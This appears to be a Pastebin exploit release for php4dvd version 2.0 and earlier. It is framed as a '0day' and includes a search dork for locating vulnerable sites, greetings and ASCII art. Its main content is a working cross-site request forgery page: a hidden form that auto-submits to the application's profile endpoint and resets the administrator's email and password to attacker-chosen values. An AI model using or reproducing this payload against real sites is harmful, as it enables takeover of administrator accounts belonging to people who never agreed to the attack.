Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #########################################################################
- [+] Exploit Title : php4dvd <= 2.0 CSRF
- [+] Author : Pablo '7days' Riberio
- [+] Team: So Good Security
- [+] Other 0days : http://pastebin.com/u/7days
- [+] Version : <= 2.0
- [+] Tested on : windows/internet explorer
- [+] Details: Reset admin password via CSRF
- [+] Vendor: http://php4dvd.sourceforge.net
- [+] Duck : inurl:php4dvd/?go=profile
- #########################################################################
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- Gr33tz: Greg, Sonya from Mortal Kombat, the owner of the japanese steak creation factory,
- my home boy linus, all the cockneys and my grandma <3
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- no thnx 2: microsoft, windoz, estate agents and recruiters
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- `..`.:::.`
- .://o:::///:.
- `::+y+::::::/+/`
- :/++/::/:/--:+o:`
- `://:-:/-/:.-:/oo.
- `/-.-:::/o---::+o.
- ....-:/+hs::--:+o
- .``-//ohh+----:+.
- `.``-/+syhs:----/+`
- .-.`.-:+syyo:--.-:+/
- `---.`.-/+yo/:-----:+o.
- .::-...-:+/o/-.-----:+so`
- .-::-...-:::::-----:://osy:
- .::-....--:::----::/+ooosys-
- `:--.....-:/:::::/+osyyyyo:`
- ` `----...--:/++++oosyyhhy+-`
- :::::-------:::---..--:/+oossyyhhhhs/.
- ::::::-------:--.-.--:+osyyyhhhhho-`
- ------------.....--:/+oyyhhhhhy+.
- -----------...---:/+osyhhhhyo:`
- :::::-------:::/+osyyhhhhs/.
- ++++++++++++oossyyhhhhs/.
- sssssssyyyyhhhhhhhyo:.`
- ``..---..`
- portuguese cyber army
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- [+] Begin 0day
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- <html>
- <head>
- </head>
- <body>
- <!-- php4dvd csrf -->
- <form action="http://www.victim.com/php4dvd/?go=profile" method="POST" id="csrf" name="csrf" onload="go()">
- <input type="hidden" name="email" value="0wnedx@0wned.comx" />
- <input type="hidden" name="password" value="0wned" />
- <input type="hidden" name="password2" value="0wned" />
- <input type="submit" name="submit" value="Save" />
- </form>
- <script language="JavaScript" type="text/javascript">
- document.csrf.submit();
- </script>
- </body>
- </html>
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- [+] End 0day
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
